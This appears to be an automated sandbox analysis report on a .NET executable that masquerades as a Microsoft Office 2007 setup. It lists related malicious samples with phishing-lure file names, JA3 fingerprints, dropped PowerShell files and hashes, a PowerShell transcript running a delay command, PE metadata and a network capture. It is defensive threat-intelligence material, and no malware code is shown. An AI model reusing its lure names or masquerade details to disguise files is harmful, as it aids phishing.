	Copy of Payment Remit2.xlsx	Get hash	malicious	Browse	104.18.11.207
	Copy of Payment Remit2.xlsx	Get hash	malicious	Browse	104.21.87.128
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.18.11.207
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.16.19.94
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.16.19.94
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	172.67.195.106
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.21.92.157
	58592535399.xlsm	Get hash	malicious	Browse	188.114.97.7
	5067000010582.xlsm	Get hash	malicious	Browse	104.21.19.200
	Payment Remit.xlsx	Get hash	malicious	Browse	104.21.7.88
	hx04uCV86c.exe	Get hash	malicious	Browse	104.21.19.200
	Doc_file 5432 Rmic_28bc6ed9c2bd4a648e215182cfb70674.htm	Get hash	malicious	Browse	104.21.41.23
	DHL Delivery Documents PDF.exe	Get hash	malicious	Browse	172.67.175.175
	proforma invoice.exe	Get hash	malicious	Browse	104.21.19.200
CLOUDFLARENETUS	Payment Remit.xlsx	Get hash	malicious	Browse	104.16.123.96
	clDYXKkE0x.exe	Get hash	malicious	Browse	172.67.176.14
	Solicitud de Cotizaci#U00f3n Carbotecnia.pdf.exe	Get hash	malicious	Browse	162.159.130.233
	triage_dropped_file.exe	Get hash	malicious	Browse	23.227.38.74
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.16.19.94
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.21.92.157
	Copy of Payment Remit2.xlsx	Get hash	malicious	Browse	104.18.11.207
	Copy of Payment Remit2.xlsx	Get hash	malicious	Browse	104.21.87.128
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.18.11.207
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.16.19.94
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.16.19.94
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	172.67.195.106
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.21.92.157
	58592535399.xlsm	Get hash	malicious	Browse	188.114.97.7
	5067000010582.xlsm	Get hash	malicious	Browse	104.21.19.200
	Payment Remit.xlsx	Get hash	malicious	Browse	104.21.7.88
	hx04uCV86c.exe	Get hash	malicious	Browse	104.21.19.200
	Doc_file 5432 Rmic_28bc6ed9c2bd4a648e215182cfb70674.htm	Get hash	malicious	Browse	104.21.41.23
	DHL Delivery Documents PDF.exe	Get hash	malicious	Browse	172.67.175.175
	proforma invoice.exe	Get hash	malicious	Browse	104.21.19.200

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Payment.exe	Get hash	malicious	Browse	162.159.134.233
	Solicitud de Cotizaci#U00f3n Carbotecnia.pdf.exe	Get hash	malicious	Browse	162.159.134.233
	XFProject.exe	Get hash	malicious	Browse	162.159.134.233
	Doc_file 5432 Rmic_28bc6ed9c2bd4a648e215182cfb70674.htm	Get hash	malicious	Browse	162.159.134.233
	Document.exe	Get hash	malicious	Browse	162.159.134.233
	Payment Remit.xlsx	Get hash	malicious	Browse	162.159.134.233
	Purchase Order 67638_Pdf.exe	Get hash	malicious	Browse	162.159.134.233
	PO- 4200005425.exe	Get hash	malicious	Browse	162.159.134.233
	Quote.vbs	Get hash	malicious	Browse	162.159.134.233
	dNZJs0xWox.exe	Get hash	malicious	Browse	162.159.134.233
	signed invoice_pdf___________________________.exe	Get hash	malicious	Browse	162.159.134.233
	39A6zqpjd1.exe	Get hash	malicious	Browse	162.159.134.233
	OBj2oomDfC.exe	Get hash	malicious	Browse	162.159.134.233
	vbc.exe	Get hash	malicious	Browse	162.159.134.233
	gugu.vbs	Get hash	malicious	Browse	162.159.134.233
	AWB draft.exe	Get hash	malicious	Browse	162.159.134.233
	SOA.exe	Get hash	malicious	Browse	162.159.134.233
	C4TdpMeL4x.exe	Get hash	malicious	Browse	162.159.134.233
	PO - Drawings And Specifications Sheet^PDF.exe	Get hash	malicious	Browse	162.159.134.233
	Dvrptq (1).exe	Get hash	malicious	Browse	162.159.134.233

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	13036
Entropy (8bit):	5.5248307259596485
Encrypted:	false
SSDEEP:	192:mtHdavqWZbyO2mw97VwnPrVPv+8M02MSBuJs5mwR50XvulKH07fEjKFM5r0:mt9DibVK7VADF+RMSBKn5ulWOECC0
MD5:	116965338FEB378092150E47027F6ED6
SHA1:	A9431B9D644937683D0269057C49AE26757737B7
SHA-256:	09EF6FECFD4141CAFC8A6545A8628CD9704752A680B099BA8B36C365544D848D
SHA-512:	2F0690A7E0EF2EAEE7F03BEF679234203FF6BF856D6DCFF43C925A7C4380ADADDFEB49DF46CBBF12CDEB71E0581E4F0149C4719D48FC18B8D18B92DA5924A09B
Malicious:	false
Reputation:	low
Preview:	@...e...................h.............o...H..........@..........H...............<@.^.L."My...:%..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)o.......System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.Configuration............................................T.@..>@...@.V.@.H.@.X.@.[.@.NT@.HT@..S@..S@.hT@..S@..S@..S@.\.@..T@..T@.@X@.?X@..T@..S@..S@..T@..T@.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jpdtonrb.o5z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mev1cm5m.f3r.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\Documents\20220201\PowerShell_transcript.088753.yBBMHBlq.20220201020510.txt

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	5.013679533046794
Encrypted:	false
SSDEEP:	24:BxSAY7vBVLVvx2DOXUW8WWOHjeTKKjX4CIym1ZJXAvsFnnxSAZ8:BZMvTLVvoOUOqDYB1Z+8ZZ8
MD5:	22EC96EEB48E03EDCF7B38677935D256
SHA1:	D4AB630796A95183B3C0B3DB5958C99D7C612FC3
SHA-256:	CB732D63F8E4CD3C57A70AA6E51744273BE2DEF2D32B6A51676E8AE4EB4B0822
SHA-512:	7B56C4E774E70960EA3AA58ABEC0C9FD1981DE63A44A5B931D665E1FA7F6EBC6D33DB6916C1D7D8AC80813B29E228F624DE2FF10AFC9BA97C743F5A8A75A3116
Malicious:	false
Reputation:	low
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220201020548..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 088753 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe cmd /c timeout 20..Process ID: 6880..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220201020548..******************..PS>cmd /c timeout 20....Waiting for 0 seconds, press a key to continue .....******************..Command start time: 20220201020621..******************..PS>$global:?..True..******************..Windows PowerShell transcript end..End time: 20220201020624..********************..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.9150239564523375
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	2lfV6QiE6j.exe
File size:	9728
MD5:	00e84b6fa4bc44283827fdfed408acb2
SHA1:	b0f0e79d324a769b9b52be8896c8d150fbbaf7d2
SHA256:	4dfcffc647f3ad92ed307b8896b270b36634a5da12a3fea4ac89b51243e2b02f
SHA512:	2953a471e11601250f9433d49fc09ad8be70671f5bcaa65c5cc2a930505a34e55b41e315c33f63223838acd1c34ee57cf460531096959d593b9f3cdcada51b09
SSDEEP:	192:Ss5AD3o9L8bnjpqTd/LnLAt7RPI1Rqwsv9WvT8:f5ADY9L8b9qTd/LnLmZrwslWvT
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:................0..............5... ...@....@.. ....................................@................................

File Icon


Icon Hash:	c9ccccc5a6a8cec6

Static PE Info

General

Entrypoint:	0x4035ba
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xDB843ABB [Sat Sep 14 21:08:11 2086 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3568	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0xc00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x354c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x15c0	0x1600	False	0.546519886364	data	5.4495209717	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0xc00	0xc00	False	0.407552083333	data	4.24983140413	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	False	0.044921875	data	0.0815394123432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x4120	0x2e8	data
RT_ICON	0x4418	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x4550	0x22	data
RT_VERSION	0x4584	0x47a	data
RT_MANIFEST	0x4a10	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	2011 Microsoft Corporation. All rights reserved.
Assembly Version	12.0.6612.1000
InternalName	macwx.exe
FileVersion	12.0.6612.1000
CompanyName	Microsoft Corporation
LegalTrademarks
Comments	2007 Microsoft Office Suite Service Pack 3 Setup
ProductName	2007 Microsoft Office Suite
ProductVersion	12.0.6612.1000
FileDescription	2007 Microsoft Office Suite Service Pack 3 Setup
OriginalFilename	macwx.exe

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 1, 2022 02:06:34.799700022 CET	49793	80	192.168.2.6	162.159.129.233
Feb 1, 2022 02:06:34.815913916 CET	80	49793	162.159.129.233	192.168.2.6
Feb 1, 2022 02:06:34.819752932 CET	49793	80	192.168.2.6	162.159.129.233
Feb 1, 2022 02:06:34.820791006 CET	49793	80	192.168.2.6	162.159.129.233
Feb 1, 2022 02:06:34.837183952 CET	80	49793	162.159.129.233	192.168.2.6
Feb 1, 2022 02:06:34.841675997 CET	80	49793	162.159.129.233	192.168.2.6
Feb 1, 2022 02:06:34.875379086 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:34.875415087 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:34.875499964 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:34.910908937 CET	49793	80	192.168.2.6	162.159.129.233
Feb 1, 2022 02:06:35.110972881 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.111012936 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.161753893 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.162326097 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.166068077 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.166080952 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.166393042 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.317142963 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.424400091 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.460169077 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.460452080 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.460540056 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.460632086 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.460721970 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.460803986 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.460880041 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.460977077 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.461069107 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.461158991 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.461968899 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.461996078 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.462009907 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.462057114 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.462080956 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.462138891 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.462150097 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.462301970 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.462315083 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.462326050 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.462363005 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.462374926 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.463289976 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.463308096 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.463319063 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.463350058 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.463363886 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.463392973 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.463433027 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.463442087 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.463562965 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.463584900 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.477087021 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.477112055 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.477225065 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.477225065 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.477248907 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.477336884 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.477520943 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.477538109 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.477549076 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.477576017 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.477888107 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.478068113 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.478241920 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.478270054 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.478286982 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.478317022 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.478472948 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.478486061 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.478526115 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.478852987 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.478862047 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.479209900 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.493971109 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494069099 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.494071007 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494095087 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494179010 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494261026 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494358063 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494437933 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494438887 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.494462013 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494539976 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494606018 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.494957924 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.495042086 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.495084047 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.495101929 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.495121956 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.495204926 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.495279074 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.495460987 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.495656013 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.495672941 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.495714903 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.496402025 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.497009039 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.497024059 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.510922909 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.511032104 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.511132956 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.511234045 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.511301994 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.514126062 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.514156103 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.514170885 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.514488935 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.514774084 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.514791012 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.514803886 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.514868975 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.514878035 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.514889002 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.514909029 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.514914989 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.514971018 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.514980078 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.515001059 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.515022993 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.515027046 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.515039921 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.515094995 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.515122890 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.515125036 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.515139103 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.515186071 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.515253067 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.515279055 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.515590906 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.515669107 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.515697002 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.515758991 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.515769005 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.515783072 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.515834093 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.516299009 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.516326904 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.516390085 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.516405106 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.516418934 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.516446114 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.516632080 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.516938925 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.516956091 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.516968012 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.517040968 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.517054081 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.517079115 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.517101049 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.517594099 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.517802954 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.537358046 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.537440062 CET	443	49794	162.159.134.233	192.168.2.6
